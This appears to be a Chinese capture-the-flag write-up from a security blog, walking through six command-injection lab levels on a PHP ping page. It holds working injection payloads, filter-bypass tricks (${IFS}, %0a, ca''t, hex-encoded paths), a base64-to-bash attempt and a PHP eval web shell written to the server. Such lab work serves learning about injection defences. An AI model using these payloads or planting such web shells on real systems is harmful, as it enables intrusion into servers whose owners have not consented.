Luc1fer
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
1. 命令注入——无过滤
对get参数接收到的ip值没有进行限制,可以进行命令注入
127.0.0.1 | ls
127.0.0.1 | cat 196222217030210.php 无回显
127.0.0.1 | cat 196222217030210.php | base64 尝试base64编码
base64解码得到flag
2.过滤cat
127.0.0.1 | ls 得到flag文件
127.0.0.1 | cat flag_3910174695461.php 无回显
源码中使用preg_match_all函数匹配用户输入中的cat, 如果存在cat则不执行ping命令
所以要绕过对cat的过滤:
127.0.0.1 & $a=c;$b=at;$a$b flag_3910174695461.php; 不成功
127.0.0.1 & $a=c;$b=at;${a}${b} flag_3910174695461.php; 不成功
127.0.0.1 & echo 'Y2F0IGZsYWdfMzkxMDE3NDY5NTQ2MS5waHA=' | base64 -d | bash 不成功
127.0.0.1 & cat<flag_3910174695461.php|base64 base64输出解码,成功
换一个思路:不用cat查看,linux中还有很多别的查看文件的方式
127.0.0.1 & more flag_3910174695461.php
右键查看源代码得到flag
除了more还有less、tail、tac、head均可以查看
再换一个思路,尝试上传shell:
127.0.0.1 & echo -e "<?php eval($_POST['ctf']);?>" > test.php 蚁剑连接不成功
linux命令尝试,发现bash中将$_POST当成一个变量,所以$_POST前面加转义符
127.0.0.1 & echo -e "<?php eval(/$_POST['ctf']);?>" > test.php蚁剑连接成功,得到flag
3.过滤空格
同样使用了preg_match_all函数对空格进行匹配
127.0.0.1;ls 得到flag文件
这里过滤空格,绕过空格的方法总结如下:
- ${IFS}替代空格: 127.0.0.1;cat${IFS}flag_203392787522023.php
无回显,但是右键查看源代码得到flag
- $IFS$9 代替空格:127.0.0.1;cat$IFS9flag_203392787522023.php
也是无回显,但是右键查看源代码得到flag
- <>代替空格:127.0.0.1;cat<>flag_203392787522023.php
这个失败了
4.过滤目录分隔符
preg_match_all过滤了/符号
127.0.0.1;ls 得到一个目录flag_is_here
因为过滤了/ ,用\替换/尝试
127.0.0.1;ls \flag_is_here 发现了flag文件
127.0.0.1&cd flag_is_here;cat flag_76922337914254.php
查看源代码得到flag
5.过滤运算符
preg_match_all 过滤了|| 和 &
这里很简单,不用|| &,使用;仍可以实现命令执行
127.0.0.1;ls
127.0.0.1;cat flag_12571926821489.php
右键查看源代码得到flag
6.综合过滤练习
把上面提到的全过滤了,“;” 符号也过滤了
先127.0.0.1;ls 尝试,显示不出来内容,hackbar看url
- 替换分隔符:%0a %0d | & || &&
- 替换空格:${IFS} $IFS$9 <> <
- 代替文件夹的内容的路径:使用$(printf "/path")
所以在hackbar中我们修改url,用%0a来替换被url编码的 ; 符号
得到有个文件夹flag_is_here
然后我们要127.0.0.1;ls flag_is_here
用${IFS} 或者 $IFS$9 替换空格,用$(printf "path")替换路径得到:
127.0.0.1%0als${IFS}$(printf${IFS}"flag_is_here")
再将字符转换成16进制数:flag_is_here ——>\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65
完整payload: 127.0.0.1%0als${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65")
得到了flag_28806427127362.php文件
现在需要执行127.0.0.1;cat flag_is_here/flag_28806427127362.php
总结一下前面学到的所有过滤手法:
; ——> %0a 替换会被过滤的分隔符
空格 ——> ${IFS} 替换会被过滤的空格
dir/file ——> $(printf "/path") 代替文件夹里面的内容
cat ——> ca''t / c<>at 绕过cat过滤
flag_is_here/flag_28806427127362.php ——> \x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65\x2f\x66\x6c\x61\x67\x5f\x32\x38\x38\x30\x36\x34\x32\x37\x31\x32\x37\x33\x36\x32\x2e\x70\x68\x70
16进制转换绕过flag关键字的过滤
完整paylaod: 127.0.0.1%0ac''at${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65\x2f\x66\x6c\x61\x67\x5f\x32\x38\x38\x30\x36\x34\x32\x37\x31\x32\x37\x33\x36\x32\x2e\x70\x68\x70")
源代码中可以看到flag:
撒花撒花,完结撒花~
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)